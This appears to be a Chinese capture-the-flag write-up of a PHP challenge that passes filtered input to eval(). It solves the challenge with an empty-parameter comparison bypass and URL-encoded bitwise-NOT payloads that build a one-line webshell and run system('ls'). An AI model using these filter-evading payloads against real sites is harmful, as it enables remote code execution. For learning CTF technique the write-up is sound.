1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php function getPos() { @include 'find.php'; echo $findflag; } ?>
<? php session_start(); if (isset ($_GET['cover'])) { if ($_GET['cover'] == $_SESSION['cover']) { echo 'ok'; if (isset($_GET['code'])) { if (strlen($_GET['code']) > 35) { echo strlen($_GET['code']); die("over maxlength!!"); } else { $code = $_GET['code']; if (preg_match("/[A-Za-z0-9_.]+/", $code)) { die("Hacher!!!"); } else { @eval($code); } } } } else echo 'Access Deny'; } else { highlight_file(__FILE__); } ?>
|
第一个if刚开始想复杂了,弱比较,其实直接为空就可以绕过了。

然后就是后面的正则匹配了,不能出现字母和数字以及_.,这还是P神的无数字字符的webshell。使用取反绕过

然后可以使用一句话,但是这似乎跟PHP的版本有关系。
?cover=&code=(%9E%8C%8C%9A%8D%8B)(%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%C7%A2%D6%D6);

这里只发现7.0.9版本是可以的。
但是我们为什么执意要搞到shell呢?RCE也很香吧……使用system('ls')
(%8C%86%8C%8B%9A%92)(%93%8C);

其实这里也是可以拿到shell的,不能死死的抓着一个东西不放,还是得换换思路
过滤还是有很多没有进行过滤的,所以我们还可以利用其他没有过滤的字符
一句话:?>=`{${~"%a0%b8%ba%ab"}[%C7]}`?>&%C7=’ls’;
?>={$_GET[%C7]?>}&%C7=’ls’;